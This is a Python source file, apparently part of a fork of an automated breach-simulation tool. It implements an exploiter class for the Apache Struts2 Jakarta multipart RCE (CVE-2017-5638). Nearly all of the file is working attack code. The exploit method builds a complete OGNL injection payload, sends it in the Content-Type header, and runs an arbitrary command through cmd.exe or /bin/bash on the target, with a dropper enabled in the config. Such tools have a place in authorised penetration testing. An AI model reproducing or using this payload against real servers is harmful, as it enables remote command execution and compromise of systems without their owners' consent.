forked from p15670423/monkey
95 lines
3.7 KiB
Python
95 lines
3.7 KiB
Python
"""
|
|
Implementation is based on Struts2 jakarta multiparser RCE exploit ( CVE-2017-5638 )
|
|
code used is from https://www.exploit-db.com/exploits/41570/
|
|
Vulnerable struts2 versions <=2.3.31 and <=2.5.10
|
|
"""
|
|
import urllib2
|
|
import httplib
|
|
import unicodedata
|
|
import re
|
|
|
|
import logging
|
|
from web_rce import WebRCE
|
|
|
|
__author__ = "VakarisZ"
|
|
|
|
LOG = logging.getLogger(__name__)
|
|
|
|
DOWNLOAD_TIMEOUT = 300
|
|
|
|
|
|
class Struts2Exploiter(WebRCE):
|
|
_TARGET_OS_TYPE = ['linux', 'windows']
|
|
|
|
def __init__(self, host):
|
|
super(Struts2Exploiter, self).__init__(host, None)
|
|
|
|
def get_exploit_config(self):
|
|
exploit_config = super(Struts2Exploiter, self).get_exploit_config()
|
|
exploit_config['dropper'] = True
|
|
return exploit_config
|
|
|
|
def build_potential_urls(self, ports, extensions=None):
|
|
"""
|
|
We need to override this method to get redirected url's
|
|
:param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)]
|
|
Eg. ports: [[80, False], [443, True]]
|
|
:param extensions: What subdirectories to scan. www.domain.com[/extension]
|
|
:return: Array of url's to try and attack
|
|
"""
|
|
url_list = super(Struts2Exploiter, self).build_potential_urls(ports)
|
|
url_list = [self.get_redirected(url) for url in url_list]
|
|
return url_list
|
|
|
|
@staticmethod
|
|
def get_redirected(url):
|
|
# Returns false if url is not right
|
|
headers = {'User-Agent': 'Mozilla/5.0'}
|
|
request = urllib2.Request(url, headers=headers)
|
|
try:
|
|
return urllib2.urlopen(request).geturl()
|
|
except urllib2.URLError:
|
|
LOG.error("Can't reach struts2 server")
|
|
return False
|
|
|
|
def exploit(self, url, cmd):
|
|
"""
|
|
:param url: Full url to send request to
|
|
:param cmd: Code to try and execute on host
|
|
:return: response
|
|
"""
|
|
cmd = re.sub(r"\\", r"\\\\", cmd)
|
|
cmd = re.sub(r"'", r"\\'", cmd)
|
|
payload = "%%{(#_='multipart/form-data')." \
|
|
"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \
|
|
"(#_memberAccess?" \
|
|
"(#_memberAccess=#dm):" \
|
|
"((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." \
|
|
"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." \
|
|
"(#ognlUtil.getExcludedPackageNames().clear())." \
|
|
"(#ognlUtil.getExcludedClasses().clear())." \
|
|
"(#context.setMemberAccess(#dm))))." \
|
|
"(#cmd='%s')." \
|
|
"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." \
|
|
"(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \
|
|
"(#p=new java.lang.ProcessBuilder(#cmds))." \
|
|
"(#p.redirectErrorStream(true)).(#process=#p.start())." \
|
|
"(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." \
|
|
"(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \
|
|
"(#ros.flush())}" % cmd
|
|
# Turns payload ascii just for consistency
|
|
if isinstance(payload, unicode):
|
|
payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore')
|
|
headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
|
|
try:
|
|
request = urllib2.Request(url, headers=headers)
|
|
# Timeout added or else we would wait for all monkeys' output
|
|
page = urllib2.urlopen(request).read()
|
|
except AttributeError:
|
|
# If url does not exist
|
|
return False
|
|
except httplib.IncompleteRead as e:
|
|
page = e.partial
|
|
|
|
return page
|